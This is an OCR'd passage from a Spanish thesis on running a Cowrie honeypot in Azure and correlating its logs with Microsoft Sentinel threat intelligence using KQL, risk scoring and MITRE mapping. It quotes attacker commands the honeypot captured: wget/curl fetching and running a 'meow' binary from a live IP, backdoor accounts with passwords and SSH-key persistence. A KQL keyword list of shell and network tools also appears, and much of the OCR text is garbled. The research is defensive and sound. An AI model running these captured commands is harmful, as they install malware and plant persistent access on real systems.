Esta funcion separa por las columnas de Eventld (Tipo de evento), Session (Id de

Sesion), Sensor (Tipo de sensor que realizo la deteccion), SrcIP(Ip Origen), SrcPort(Puerto
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Origen), Dstlp (Ip Destino), DstPort(Puerto Destino), Protocol(Protocolo), Duration (Duracion
de la conexion) y Message (mensaje asociado donde se incluird el comando si esta presente).
3.3 Despliegue de Conectores

Para la ingesta de Logs de Inteligencia de amenazas de Microsoft Defender Threat
Intelligence, se procedio a instalar el conector de “Microsoft Defender Threat Intelligence”,
esta tabla ingesta los logs generados por las fuentes de Inteligencia de Microsoft Defender,
Incluye tags, confidencia, el indicador, el tlp y el tipo de fuente origen, toda esta informacion
se ingesta en la tabla “ThreatIntellndicators” que se detalla mas granular en la Ilustracion 34.

Figura 37.

Conector Microsoft Defender Threat Intelligence en Content Hub

a Microsoft Sentinel | Content hub

I Microsoft Defender Threat intelligence |

Workbooks: 1. Playbooks: 7

Security

Verificacion de Recepcion de Logs de Threat Intelligence

Una vez activado el conector se puede obtener los logs similares al siguiente:
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Figura 38.

Validacion de campos en tabla Threat Intel Indicator

Time range : Last 24 hours Show : 1000 results KQL mode .

1 ThreatintelIndicators

ThreatIntelligenceIndicator

Resufts Chart
C TimeGenerated [UTC] '+ Workspaceld AzureTenantid id

Id TWijcm8zb2Z0 ERIZMmVUZGVYIFRocmVhdC BIbnRIBGXpZ2VuY2U =--- indicator--8c8c9180- f3e0- 0%c7-b802-ed6c0dS 56681 m
SourceSystem Microsoft Defender Threat Intelligence
LastUpdateMethod BasicMOTIConnector
isDeleted faise
AdditionalFields {'TLPLevel"""Green)
Data {"pattern™" [network-trafficsrc_refvalues = '198.235.24 2067 . "pattern_type~"stix". "valid_from":"2026-05-19703:19:24 75993 14Z" "name"-"Microsc

[,} IsActive true
ValidUntil [UTC] 2026-05-19T02:19:01.1013074Z
validFrom [UTC) 2026-05-10T03:19:24 75003142
Created [UTC] 2026-05-14T20:1238.3007329Z
Modified [UTC] 2026-05-19703:19:24.7509314Z
Tags honeypot prdefault ic: 100 vic 100.gid-f3beb.cid:26de6,ultime05/19/2026 03:19:24
Confidence 100
Pattern [network-trafficsre_refvalue = '198.23524 206]

fyork-trafficsre ref.vaiue

En este caso nos indica informacion relacionada con la hora de la ingesta del log, un id,
la fuente, como se actualizo, el TLP utilizado para divulgar el IOC, la informacién en formato
JSON tomada de formato STIX utilizado, la fecha de validacion del Indicador y los tags que
indican que fuente realizo la deteccion en nuestro ejemplo un honeypot de Microsoft, ademas

del valor de la confiabilidad del Indicador seglin las fuentes de la herramienta.

e Creacion de Consulta KQL para Comparacion de Logs en tabla Threat
Intelligence y Cowrie
Se creo sentencias KQL para poder validar la cantidad de Indicadores que aparecen en
la tabla ThreatIntelIndicators, en ambas tablas y tinicamente los IOCs ingestados por la tabla

CowrieLogs CL:
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Figura 39.

Consulta KQL para validacion procedencia indicadores de compromiso.

7 let Cowrlelogs =
8 Cowrielogs CL

9 | extend SrcIp = tostring(parse json(RawData).src_ip)
e | where isnotempty(Srclp)

11 | summarize by Indicator = Srclp;

N2 // Extraer indicadores desde Threat Intelligence

13 let ThreatIndicators =

14 ThreatIntelIndicators

15 | where isnotempty(ObservableValue)

16 | summarize by Indicator = tostring(ObservableValue);
n7 /f/ Comparar ambas tablas

18 ThreatIndicators

9 | join kind=fullouter CowrieLogs on Indicator

P& | extend Estado = case(

21 isnotempty(Indicator) and isnotempty(Indicatorl), "En ambas tablas"™,

R2 isnotempty(Indicator) and isempty(Indicatorl), "Solo en ThreatIntelIndicators”,
23 isempty(Indicator) and isnotempty(Indicatorl), "Solo en Cowrielogs CL",

R4 "Otro”

Bs )

26 | summarize Cantidad = count() by Estado

7

De donde se obtuvo los siguientes resultados:

Figura 40.

Query KQL para conteo de eventos por tabla

@ New Query1* -+«
=] Time range : Custom Show | 1000 results
«w 4 | susmarize by Indicator « tosteing(Srcip);

5 // Extraer indicadores desde ThreatintellIndicators
) 6 let ThreatIndicators = ThreatIntellIndicators

7 | where Tags contains "honeypot"
| where isnotempty(ObservableValue)

womrmldwe & Yodd sobnw R b b LT S I T

D

8

Results Chart

D Estado Cantidad
()] > Solo en Threatintelindicators 69034
D > Enambas tablas 775

D > Solo en Cowrielogs_CL 416
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e Conteo de Logs en Tabla Threat Intelligence de Microsoft
Para realizar el conteo de los eventos diarios ingestados por la tabla de Threat
Intelligence de Microsoft, se creo6 la consulta KQL incluyendo la tabla, se realizo un filtro de
los eventos con el tag de “Honeypot” y se realizé un summarize para contar por dia los
eventos, de donde se obtuvo entre 15 y 43 mil eventos diarios.
Tabla 2.

Tabla Threat Intelligence de Microsoft

TimeGenerated count_
32%%3):?)6:002 604
030000002
33%%3):?)6:002 3342
I T00:00:00Z
g(l)%%_(;):f)bzooz 114497
gg%%-(?:gbzooz 5342
gg"zr%_(?:?)bzooz 14892
gg%%-(?:gb:ooz 13345
270000002 26499
32%60'0();36;0@ 4729
25T00:00:002 3513
32%60'00;36;0@ 126292
23T0000:002 5956
gg%%_(?:gb:ooz 14321
g?%%é{gbzooz 15611
38%%3):?)6:002 25239
2026-05- -

19T00:00:00Z
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2026-05-
18T00:00:00Z
2026-05-
17T00:00:00Z

42419

131039

Figura 41.

Rango de resultados tabla Threat Intelligence

@ New Query 1* } @ Observability agent ‘wew ) [5) Save M share 82 Queries hub

-
=N Time range : Custom Show : 1000 results KQL mode

& 21 threatIntelIndicators
22 | extend tipo = tostr o g(pi j son(tostring(Data.indicator_types))[e])
23 | where Tags contains “ho e
)4 | summarize count() by bl (Hn(( enerated, 1d) A~

Results Chart

ed [Local Time].5/17/2026, 7:00:00.000 PM
42,119

lwioy yieyd

e Conteo de Logs en Tabla CowrieLogs
Mientras que el Honeypot varia entre 15 mil y 28 mil eventos aproximadamente al dia.
Tabla 3.

Tabla CowrielLogs

TimeGenerated count_
2026-06-04T00:00:00Z 20762
2026-06-05T00:00:00Z 1441
2026-05-17T00:00:00Z 1046
2026-05-19T00:00:00Z 17120
2026-06-01T00:00:00Z 19354
2026-06-02T00:00:00Z 22478
2026-05-22T00:00:00Z 29
2026-06-03T00:00:00Z 28149
2026-05-30T00:00:00Z 24730
2026-05-31T00:00:00Z 16953

2026-05-24T00:00:00Z 365
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2026-05-26T00:00:00Z 10031
2026-05-28T00:00:00Z 27327
2026-05-29T00:00:00Z 22490
2026-05-20T00:00:00Z 3510
2026-05-21T00:00:00Z 3
2026-05-27T00:00:00Z 15653

Figura 42.

Eventos por dia tabla Honeypot Cowrie

1 CowrielLogs_CL
2 | summarize count () by bin (TimeGenerated,1d)

e

30000

TimeGenerated [UTC]6/: 26, 12:00:00.000 AM
F 28,149

25000

ount.; 8,
20000
‘: 15000
10000
5000
’ May 20 May 30 May 31 Jun Jun2 hun3 Jun4

TimeGenerated [UTC]

@ count_

e Construccion de Consulta KQL para conteo de resultados y
comparacion de tablas

Se construy6 una consulta, la cual valida en la tabla de Cowrie diversos comandos que
utiliza un atacante para realizar un escaneo en la fase de reconocimiento, entre los cuales se
tiene (wget, curl, chmod, nc, ncat, bash, sh, Python, perl, nmap, ssh, scp) esta consulta nos
indicara la ip maliciosa, el nimero de comandos maliciosos y un valor booleano que indicara si
esta Ip se encuentra en la tabla ThreatIntelIndicator o no (En el caso que el valor sea “NO” se
asegura que la ip se detect6 por el Honeypot y no esta ingestada en las fuentes de Microsoft

Sentinel), esto nos indica que un indicador fue detectado por la maquina honeypot y no por las
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fuentes de Inteligencia de Defender. Como se puede validar en la siguiente Ilustracion los
comandos ejecutados buscan encontrar las contrasefias de la maquina:

Figura 43.

Codigo KQL para comparacion de tablas de Inteligencia de Amenazas

let TimeFrame = 24h;

// Extraer comandos ejecutados

let CommandsExecuted =

cowriefun

| where Timestamp >= ago(TimeFrame)

| where Message startswith "CMD:™
| extend Command = trim(@" ", replace_string(Message, "CMD:", ""))
| summarize
Commands = make_set(Command, 188),
TotalCommands = count()
by SrcIP;
// Detectar comandos sospechosos
let SuspiciousCommands =
cowriefun
| where Timestamp >= ago(TimeFrame)
where Message startswith "CMD:™
extend Command = trim(@" ", replace_string(Message, "CMD:", ""))
where Command has_any (
“wget”,
“curl®,
"chmod",
"nc ",
"ncat",
“bash”,
“sh ",
“python”,
"perl”,
“busybox™,
“tftp”,
"ftpget”,
"scp”,
"ssh",
"nochup™,
.o
)
| summarize
SuspiciouslList = make_set(Command, 188),
SuspiciousCount = count()
by SrcIP;
// Threat Intelligence
let ThreatIntel =
ThreatIntelIndicators
where isnotempty(ObservableValue)
extend ConfidenceScore = tostring(Data.confidence)
extend Description = tostring(Data.description)
summarize
TI_Description = make_set(Description, 5),
TI_Tags = make_set(Tags, 10),
TI_Confidence = max(ConfidenceScore)
by ObservableValue;
// Correlaci@n final
CommandsExecuted
| join kind=leftouter SuspiciousCommands on SrcIP
| join kind=leftouter (
ThreatIntel
| project ObservableValue, TI_Description, TI_Tags, TI_Confidence
) on $left.SrcIP == $right.Observablevalue
| extend
SuspiciousCount = coalesce(SuspiciousCount, 8)
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| extend
TI_Match = iff(isnotempty(ObservableValue), "YES", "NO")
| extend
RiskLevel = case(
TI_Match == "YES" and SuspiciousCount >= 5, "CRITICAL",
TI_Match == "YES", "HIGH",
SuspiciousCount >= 18, "HIGH",
SuspiciousCount >= 5, "MEDIUM",
TotalCommands >= 18, "LOW",
"INFO"

)

| project
SrcIP,
TotalCommands,
SuspiciousCount,

TI_Match,

TI_Confidence,

TI_Description,

TI_Tags,

Commands,

Suspiciouslist,

RiskLevel

| order by

case(
RiskLevel "CRITICAL", 5,
RiskLevel "HIGH", 4,
RiskLevel "MEDIUM", 3,
RiskLevel "LOW", 2,

Finalmente, se asigna en la Columna RiskLevel, un nivel de riesgo entre Low y Critical
en base a si se encuentra en ambas tablas y el nimero de comandos sospechosos asociados a

esa Ip, por lo tanto, se exponen las siguientes condiciones:
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Tabla 4.

Consideraciones de Clasificacion de Riesgo

Nivel de riesgo Condicion

Coincidencia con Threat
CRITICAL Intelligence y > 5
comandos sospechosos

Coincidencia con Threat
HIGH Intelligence 0 > 10
comandos sospechosos

Entre 5 y 9 comandos

MEDIUM
sospechosos

> 10 comandos totales

LOW ejecutados

Ninguna de las

INFO . .
condiciones anteriores

Entre los comandos que se encontrd se puede notar diversos intentos de ejecucion del
comando echo en rutas donde se almacenan contrasenas.
Figura 44.

Validacion de resultados query KQL

® New Query 1* x o Conteo iocs* @ Observabilty agent ‘New | [ Save ™M share 82 Queries huy
;s
=] Time range : Set in query Show : 1000 results KQL mode
w0 n
J bas
sh
O python A
Results  Chart 2] Add bookmark
=) Swctp TotalCommands SuspiciousCount Commands SuspciousList RiskLovel
= l ¥

cd ~ &8 rm «rf ssh && midie ssh && echo “sshersa AAAABINZAC 1yc2EAAAABIQAAAQEADpAcunIhrdKUhBGETVvAcwdk2a8dbn TOrbMz1 + SO731c BOXBNVBUTOLUanUVI2/9pT «\
1 GVOMNx+9EuWOnVNoale0QXazilglel BHpgLMuakbs « BTFB « rKIAwIUOFS TDengvSENX 1KNFSAMjux0RIOKErveEmPecidySYMbESmyIAKGWCEEBWEQHMA ImUPGHWGQOMWCwsQk 13y
Wi+ u97k6pfTGTUBIK 1 dujve DRUKQTTWY YjlluSPmUuxSbsZ0RAWFwdleb « iGrBLASPKGAYSVKPRK « oRw= = mdrfcke™> > ssh/suthonzed _keys && chmod -R go= ~/.ssh && ¢d ~

echo «¢ "If\nUhtawt 17qvPRnUNawl 1 7qvPFipasswdibash

echo -¢ "password\nOwWwZSRRMIHzu\nOwwZSRRMIHzu"|passwd|bash

woa owoN

echo ¢ "Pa$$wdrd\nmZrDImvrC WM Ze DImvnCxXWlpasswalbssh *

echo ¢ *fibddjkdsfs541544\nSRTOWVDrSWANSrReTOWVDrSw fpasswdlbash

Mientras que el resultado de la consulta se muestra a continuacion:
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Figura 45.

Deteccion de ips maliciosas

57

o New Query 1*

1
) desc,

Results  Chant

P Conteo locs*

-
¥ Time range : Set in query

4 wowy
« 4 Risklevel =« "CRITICA
RiskLevel we “HIGH
Riskievel == *f
Risklevel == “LOW", 2,

SuspiciousCount desc

O sar TotaCommands
» 582246229 ©
> TIS441203 ]

O 4121617755 *

O > 193999246 7

0 98.7057.151 %

0O > 10136108213 €

0O > massasse0 [

@ Validacion H...

Show : 1000 results

SuspiciousCount

T Match

vés

® Observability agent

T1_Confidence
100
190
1y
2
100
109

10

T1_Description

['MSTIC HoneyPot: An sttacker
['MSTIC HoneyPot: An attacker
[MSTIC HoneyPot: An attacker
['MSTIC HoneyPot: An attacker
[MSTIC HoneyPot: An attacker
['MSTIC HoneyPot: An attacker

[MSTIC HoneyPot: An attacker

11 Tags

[ ro‘t,Dolm
[heneypo
[reneypo
[honeypo
['honeypo
[honeypo

[roneypo

Para interpretar estos resultados se puede notar que se tiene la IP origen del escaneo, el

nimero de comandos que se ejecutaron, el nimero de comandos catalogados como

sospechosos, la columna “TI_Match” el cual es un booleano el cual indica si la IP se encuentra

o no en las fuentes de Inteligencia del SIEM de Microsoft, el valor de Confidence y la

descripcion del log. Si tomamos la primera IP, podemos notar que efectivamente se cataloga

como maliciosa:
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Figura 46.

Revision en virus total

E q 582246229 L2 e 6 Sign i
\ @ 15/91 security vendors flagged this IP address as malicious ' Reanalyze  Mordg
15
/91
58.224.62.29 (58.224.0.0/18) KR Last Analysis
Community AS 9318 (SKBroadband CoLtd) B 3days ago
Score
DETECTION DETAILS RELATIONS COMMUNITY 7
Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.
Security vendors' analysis () Do you want to automate chy
ADMINUSLabs @ Malicious BitDefender @ Phishing
Chong Lua Dao @ Malicious Cluster25 @ Malicious
CRDF @ Malicious CyRadar @ Malicious
Fortinet @ Malware G-Data @ Phishing
GreenSnow @ Malicious GreyNoise @ Malicious
IPsum @ Malicious Lionic ® Malicious
MalwareURL @ Malware SOCRadar ® Malicious
VIPRE @ Phishing alphaMountain.ai O Suspicious
AlphasoC O Suspicious Gridinsoft O Suspicious

Ademas de ser catalogada como maliciosa por 15 de 91 fuentes, se tiene varios
comentarios de la comunidad las cuales catalogan la Ip en cuestion relacionada con escaneos

ssh e intentos de ataques de fuerza bruta.
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Figura 47.

Comentarios de Comunidad en Virus Total

LI 1, 5E.2I462.29 E=CNE

DETECTION DETAILS RELATIOMNS COMMURNITY

| Juin our Community and enjoy additional community insights and crowdsouroed detsdtions, plus an AP key 1o automete checks.

Voting details [8) O

Vincent6785_0 ulvranski hispasign
° By apo -1 0 14 day= agn -1 @ L

15 days apn

MetWatch

A -

Comments (3] {

Vinceni&T85_0

S Sdays age
rssh pbruteforce scanner
Observed autamated 35H brute-fonce activity.
Attempts: & | Falled password: 4 | Invalid user: 2
Flrst seen: 2026-06-09 22:41:28 UTC
Last seen: 2006-06-09 22-50-00 UTC

Source: Linux OpenS5H jowmalct] telemetry from OWH-hosted Debian server

n DonChuania?
S lddaysagn

Observed by Live Haney Feed (https: jfcognicystem.cam,|
First seem: 2036-05-21 323720 | Last seen; 2036-06-01 17

34 Pruebas de Concepto
Como parte de las pruebas definidas en el alcance del proyecto, se realiz6 un escaneo
de puertos utilizando la herramienta Nmap sobre la direccion IP publica del entorno

desplegado. Los resultados mostraron los puertos 21, 22, 23, 42, 80 y 81 como accesibles o

potencialmente vulnerables.
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Figura 48.

Escaneo con nmap

aiohttp 3.0.6 (Pythes 3.11)
agine

De aqui podemos ver que el puerto para transferencia de archivos FTP y los puertos de
navegacion web http aparecen como puertos abiertos y escuchando, asi como los puertos que
permiten conexion remota como son el 22 y 23 para SSH y telnet respectivamente. Este
comportamiento es el esperado. Por tanto, los servicios detectados no corresponden a
vulnerabilidades reales de la infraestructura implementada, sino a mecanismos expuestos por el

honeypot para simular un entorno atractivo para posibles atacantes.

Ademas, se realiz6 una prueba de acceso mediante el protocolo SSH utilizando las
credenciales "root/root". La autenticacion fue aceptada por el servicio emulado, permitiendo el
acceso a un entorno controlado gestionado por Cowrie. Es importante destacar que dicho
acceso no representa una intrusion real sobre un sistema productivo ni una vulnerabilidad
efectiva de la infraestructura, sino una funcionalidad propia del honeypot, al realizar el ingreso
a este entorno controlado se cred un archivo en el directorio home con un mensaje como lo

muestra la ilustracion 47.



Honeypot y correlacion en Azure Sentinel 61

Figura 49.

Prueba de Conexion SSH

rootgubnt

rootgubnt

rootgubnt

rootgubnt

bin boot / etc home 1ib 1ib64 media mnt opt proc root run sbin srv sys tmp usr var
rootgubnt

rootgubnt ac "Has sido hackea :3" > importa

Has sido hac
rootgubnt

Las pruebas de concepto descritas en esta seccion tuvieron como finalidad verificar el
correcto funcionamiento del entorno desplegado, comprobando que los servicios emulados por
el honeypot fueran visibles desde Internet y que permitieran la interaccion esperada con
posibles atacantes dentro de un entorno completamente controlado. No obstante, los resultados
principales analizados en esta investigacion no se derivan Uinicamente de estas pruebas
controladas, sino principalmente de la exposicion del honeypot a Internet durante el periodo de
observacion definido en el proyecto. Durante dicho periodo, el sistema recibié multiples
intentos reales de reconocimiento, autenticacion y ejecucion de comandos provenientes de
direcciones IP externas, cuyos eventos fueron capturados por Cowrie, enviados a Microsoft
Sentinel y posteriormente analizados para identificar comportamientos maliciosos, tacticas y

técnicas empleadas por los atacantes.
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CAPITULO 4
4. ANALISIS DE RESULTADOS
4.1. Analisis de Resultados

4.1.1. Analisis de la ingesta de logs en Microsoft Sentinel

La presente seccion analiza el comportamiento de la ingesta de logs generados en el
entorno implementado, el cual integra un honeypot basado en Cowrie desplegado en Microsoft
Azure y su posterior envio hacia Sentinel. La finalidad de este andlisis es evaluar la
contribucion de las diferentes fuentes de datos dentro del sistema de monitoreo y su impacto en
la deteccion de eventos de seguridad. La Ilustacion 48. muestra la evolucion de la ingesta de
logs durante el periodo comprendido entre el 18 de mayo y el 3 de junio, representando el
volumen de datos en gigabytes (GB) por dia.

El eje horizontal representa la linea temporal en formato UTC, mientras que el eje
vertical indica el volumen de datos ingeridos diariamente.

La informacion se presenta mediante un grafico de barras que permite distinguir tres

fuentes principales de registros:
e ThreatIntelligencelndicators
e Syslog

e CowrieLogs CL
A nivel general, se observa un comportamiento no uniforme en la ingesta de datos,
evidenciando variaciones significativas entre los diferentes dias analizados. En particular, se
identifican picos de actividad relevantes alrededor del 18 y 24 de mayo, donde predomina
ampliamente la contribucion de ThreatIntelligencelndicators, alcanzando valores cercanos a

0.34 GB y 0.36 GB respectivamente. Este comportamiento se asocia principalmente a la carga
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de grandes volumenes de indicadores de compromiso (IOCs) provenientes de fuentes externas
integradas en Microsoft Sentinel.

Asimismo, se identifica una tendencia creciente en la participacion de los logs Syslog a
partir del 28 de mayo, alcanzando su punto mas representativo el 3 de junio, donde constituyen
la mayor parte del volumen ingerido (aproximadamente 0.25 GB). Esta ingesta se relaciona a
comportamiento y logs propios del equipo Ubuntu, tanto de sistema como de inicios de sesion.

En contraste, los registros provenientes del honeypot CowrieLogs CL presentan una
ingesta menor en comparacion con las otras fuentes, manteniéndose constante a lo largo del
periodo. Esta caracteristica es coherente con la naturaleza de los honeypots de media
interaccion, los cuales generan eventos Uinicamente ante intentos reales de conexion o
interaccion maliciosa. Por lo tanto, su menor volumen no representa una limitacion, sino una
evidencia de que la informacion capturada esta directamente relacionada con actividades
potencialmente maliciosas, aportando un alto valor cualitativo al sistema de monitoreo.

En conjunto, el andlisis de la imagen permite evidenciar la coexistencia de diversas
fuentes de informacion, asi como la variabilidad en su nivel de contribucion a lo largo del
tiempo. Esta interaccion resulta fundamental para el proceso de correlacion de eventos dentro
de un sistema de monitoreo, ya que proporciona una vision integral del comportamiento del
entorno. En este contexto, la combinacion de multiples tipos de logs facilita la identificacion de
patrones y tendencias, contribuyendo de manera significativa a la deteccion de posibles

actividades maliciosas.
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Figura 50.

Ingesta de logs en Microsoft Sentinel

Results  Chart

GB

estad

[
I I s _ —
May 18 May 20 May 22 May 24

@ Threatintelindicators

@ Cowrielogs_CL @ Syslog

La tabla presenta el volumen total de datos ingeridos en Microsoft Sentinel, expresado

en gigabytes (GB), para tres fuentes principales: ThreatIntelligencelndicators, Syslog y

CowrieLogs CL.

e ThreatIntelligencelndicators: Concentra el mayor volumen de ingesta (=1.54

GB), siendo la principal fuente de datos, debido a la carga masiva de

indicadores de amenazas.

e Syslog: Con un volumen aproximado de (=0.77 GB) aporta una cantidad

significativa de informacion relacionada con la actividad operativa del sistema.

CowrieLogs CL: Presenta la menor ingesta (=0.12 GB), lo cual es esperado, ya
que el honeypot solo genera eventos ante interacciones reales, aportando asi

informacion mas especifica y de mayor valor cualitativo.
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Tabla S.

Volumen de ingesta de logs por tabla en Microsoft Sentinel (GB)

Table IngestedGB
ThreatIntelIndicators 1.54
Syslog 0.77
CowrieLogs CL 0.12

Finalmente, la combinacion de estas fuentes fortalece el enfoque de deteccion proactiva
propuesto en el estudio, permitiendo no solo registrar eventos, sino también anticipar posibles
amenazas mediante el analisis integral de la informacion. De esta manera, se demuestra que la
integracion del honeypot con el SIEM no solo incrementa la visibilidad del entorno, sino que
mejora significativamente la capacidad de analisis y respuesta frente a incidentes de

ciberseguridad.

4.1.2. Analisis de resultados de deteccion por nivel de riesgo

En la Ilustracion 49 se presenta la clasificacion de 707 direcciones IP tnicas detectadas
durante el desarrollo, categorizadas segun su nivel de riesgo (RiskLevel) y su coincidencia con
fuentes de inteligencia de amenazas (TI Match).

Se observa que la mayor parte de las direcciones IP se concentra en los niveles
CRITICAL (335) y HIGH (302) con coincidencia en inteligencia (TI MATCH = YES), lo que
evidencia una alta proporcion de actividad potencialmente maliciosa previamente identificada
en fuentes externas.

Por otro lado, las categorias INFO (49), LOW (14) y MEDIUM (6) corresponden en su
mayoria a direcciones IP que no presentan coincidencia con inteligencia de amenazas

(TT_MATCH=NO), lo cual indica que estas detecciones fueron identificadas directamente por
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el honeypot y no por Defender Threat Intelligence, aportando valor en la deteccion de
amenazas no catalogadas previamente. Asimismo, se identifica un caso minimo de riesgo
HIGH (1) sin coincidencia, lo que podria representar una amenaza emergente no detectada por
fuentes de Microsoft.

En conjunto, estos resultados demuestran la efectividad del modelo implementado,
evidenciando la complementariedad entre la inteligencia de amenazas integrada en Microsoft
Sentinel y los eventos capturados por el honeypot. Esta combinacidon permite no solo validar
amenazas conocidas, sino también descubrir nuevas actividades sospechosas, fortaleciendo el
enfoque de deteccion proactiva propuesto en la investigacion.

Figura 51.

Clasificacion de direcciones IP por nivel de riesgo y coincidencia con inteligencia de

amenazas
RiskLevel TI_Match count_
> HIGH YES 302
> CRITICAL YES 335
> INFO NO 49
> LOW NO 14
>  MEDIUM NO 6
> HIGH NO 1

4.1.3. Analisis de Resultados de Comandos e IPs.
En la siguiente ilustracion, se indica los resultados obtenidos de la consulta KQL
construida con el fin de validar cuales son las ips, comandos y riesgo de las Ips encontradas,
para esto se tienen en cuenta las consideraciones de la Tabla 1 en la construccion de la

consulta, de donde se obtuvieron diversos resultados los cuales se resumiran en la Tabla
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Figura 52.

Resultados de consulta KQL para clasificacion de Ips por comandos
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60 NO 9 ["cd ~; chattr
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39 NO 6 ["cd ~; chattr
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20 NO 3 ["cd ~: chattr
20 NO 3 ["ed ~; chattr
20 NO 3 ["ed ~; chattr
20 NO 3 ["cd ~: chattr
18 NO 3 ["cd ~; chattr
19 NO 3 ["ed ~; chattr
20 NO 3 ["cd ~; chattr
19 NO 3 ["cd ~; chattr

-ia ssh; lockr -ia ....
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W

-ia

-ia

ssh; lockr -i

ssh; lockr -
ssh; lockr -
ssh; lockr -i

.ssh; lockr -

-ia .ssh; lockr -

-ia ssh; lockr -

-ia ssh; lockr -

-ia .ssh; lockr -
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[Fed ~; chattr
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[Fed ~; chattr
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-ia ssh; lockr -i

-ia .ssh; bockr -i

-ia .ssh; lockr -

-ia .ssh; lockr -i

-ia ssh; lockr -

-ia .ssh: lockr -i

-ia 55h; lockr -ia ...

-ia ssh; lockr -ia ...

[

-ia 55h; lockr -ia ...

[

-ia ssh; lockr -ia ...

o

-ia ssh; lockr -ia ...

-ia ssh: lockr -ia ...

-ia .ssh; lockr -ia ...

o

-ia .ssh; lockr -ia ...

w

-ia ssh; lockr -ia ...

[

-ia .ssh; lockr -ia ...

o

[

o

[

1

RiskLevel
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MEDIUM
MEDIUM
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siguiente Listado de comandos mas utilizados por las Ips Maliciosas:

En base a los resultados de la Ilustracion 50 se procedio a resumir los comandos en el

Tabla 6.

Conteo de Comandos mas utilizados por IPs Atacantes

Comando Frecuencia

chattr -ia .ssh 522
cd~ 480
rm -rf /tmp/auth.sh 303
pkill -9 secure.sh 303
pkill -9 auth.sh 303
echo > /etc/hosts.deny 303
pkill -9 sleep 303
ulimit -n 1020000 12
chmod 777 meow 12
./meow 12
chmod 777 meowarm64 12
./meowarm64 12
echo $(whoami):modzmodz | chpasswd 12
useradd -m -s /bin/bash adminl 12
echo adminl:modzmodz | chpasswd 12
usermod -aG sudo adminl 12
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useradd -m -s /bin/bash user1 12
echo userl:modzmodz | chpasswd 12
rm -rf meow* 12
curl -O http://35.237.91.38/meowarm64 9
wget http://35.237.91.38/meowarm64 9

Se puede notar que los comandos que se observan buscan ejecutar persistencia e
intentos de ejecucion de malware mediante la ejecucion del directorio .ssh, cambios en accesos
remotos (chattr -ia .ssh), finalizacidon de procesos con script (pkill -9 secure.sh, auth.sh, sleep),
eliminacion de actividad (rm -rf /tmp/auth.sh), cambios de limite de archivos abiertos (ulimit -n
1020000) con el fin de soportar una mayor carga de conexiones o descarga de ejecutables
(meow y meowarm64), modificacion de cuentas privilegiadas (adminl, userl), ademés intentos
de ejecucion de descargas de payload maliciosas con comandos curl o wget con la IP
“35.237.91.38” la cual esté asociada a actividad maliciosa de SSH y Ataque de fuerza Bruta
segiin AbuselPDB con 127 reportes desde el 1 de Junio del 2026, el score es de 100% de ip

maliciosa y la fecha de consulta fue el 10 de Junio:
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Figura 53.

Evidencia de consulta de Ip en AbuselpDB
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4.1.4. Analisis de comandos ejecutados clasificados en la Matriz MITRE
Luego de obtener el listado de comandos mas utilizados, se procedié a mapear las
técnicas y tacticas de MITRE asociadas a los comandos y el posible objetivo del atacante, se
puede notar varios comandos que buscan realizar reconocimiento del sistema y de usuarios en

una primera fase, persistencia, escalamiento de privilegios y ejecucion de Malware.
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Tabla 7.

Listado de Comandos con Técnicas MITRE Asociadas

70

Tactica

Etapa del ataque Comandos Objetivo del MITRE Técnica MITRE
observados atacante ATT&CK ATT&CK
Reconocimiento Whoami Identificar usuarios Discovery glgﬁ;&ig:tem
del sistema y sesiones activas ~ (TA0007) Discovery
.. uname, uname -a Detem thar . T1082 — System
Reconocimiento ’ 1 ’ . arquitectura y Discovery Information
del sistema Uuname -m, 'Sepu, €4t aracteristicas del  (TA0007) )
/proc/cpuinfo host Discovery
_ Evaluar recursos . T1082 — System
Reconocimiento . : Discovery .
del sistema free -m, df -h, top disponibles para (TA0007) Information
ejecutar malware Discovery
Identificar
Reconocimiento mecanismos de Discovery
del sistema crontab -I persistencia (TA0007) T1053.003 = Cron
existentes
Verificar binarios
Reconocimiento  which Is, Is -1h gi)sggi::les y Discovery T1083 — File and
. hich 1 ‘ : )
del sistema $(which Is) alteraciones del (TA0007) Directory Discovery
sistema
Eliminar atributos Defense T1222 — File and
Persistencia . que impidan . Directory
. chattr -ia .ssh . . Evasion L
mediante SSH modificar archivos (TA0005) Permissions
SSH Modification
Mantener acceso
Persistencia Modificacion de persistente Persistence T1098.004 — SSH
mediante SSH authorized keys mediante claves (TA0003) Authorized Keys
SSH
Eliminacién de pkill -9 secure.sh, Finalizar procesos  Defense T1562 — Impair
competencia pkill -9 auth.sh, pkill ~de otros atacantes o Evasion Defenses P
P -9 sleep malware (TA0005)
Eliminacion de rm rf /tmp/auth.sh Eliminar scripts o gjgg?jz T1070 — Indicator
rastros evidencias previas (TA0005) Removal on Host
Modificar Defense
Alteracion de echo > configuraciones Evasion T1562 — Impair
configuraciones /etc/hosts.deny defensivas del v Defenses
sistema (TA0005)
wget
Transferencia de http://.../ meowarm64, Eee;;?;ig:;tas o ggg}(?;jﬂd and T1105 — Ingress
malware curl -O . Tool Transfer
cargas maliciosas  (TA0011)

http://.../meowarm64



Honeypot y correlacion en Azure Sentinel

71

Asignar permisos

T1222 — File and

Preparacién chmod 777 meow, de ejecucion a los Defepse Directory
para ejecucion chmod 777 binarios Evasion Permissions
64 . .
meowarm descargados (TA0005) Modification
Ejecutar la carga 11059.004
Ejecucion del Jmeow, ﬁgﬂ en el siste n%a Execution Command and
malware /meowarmé64 . (TA0002) Scripting Interpreter:
comprometido .
Unix Shell
useradd -m -s
Creacion de /bin/bash adminl, Crear' Huevos Persistence T 136'091 Create
usuarios Account: Local
cuentas useradd -m -s . (TA0003)
/bin/bash userl persistentes Account
e(ciho. L:modzmod Establecer
Manipulacion de zhnz::s 'réloe:}?; odz| credenciales Persistence T1098 — Account
cuentas P 'W ; controladas porel  (TA0003) Manipulation
userl:modzmodz |
chpasswd atacante
. Otorgar privilegios Privilege
Escalamiento de usermod -aG sudo g . . T1098 — Account
rivilegios admin] administrativos a Escalation Manipulation
P cuentas creadas (TA0004)

4.2. Analisis de Costos

Para levantar el laboratorio propuesto se debe tener en cuenta los costos asociados a la

maquina virtual en la cual se desplego el Honeypot, la direccion Ip y la ingesta de Microsoft

Sentinel asociada:

Tabla 8.

Detalles de Costos Azure

Service Estimated
Service type  Region Description monthly
category
cost
Compute Virtual East US2 1 D4sv3 (4 vCPUs, 16 GB RAM) x 730 Horas ~ $144,96
Machines (Pay as you go), Linux, (Pay as you go); 1
managed disk — P4; Inter Region transfer type, 5
GB outbound data transfer from Este de EE. UU.
2 to Este de Asia
Redes IP Addresses East US 2 Basico (clasico), 0 direcciones IP dinamicas X  $2,63
730 Horas, 1 direcciones IP estaticas X 730
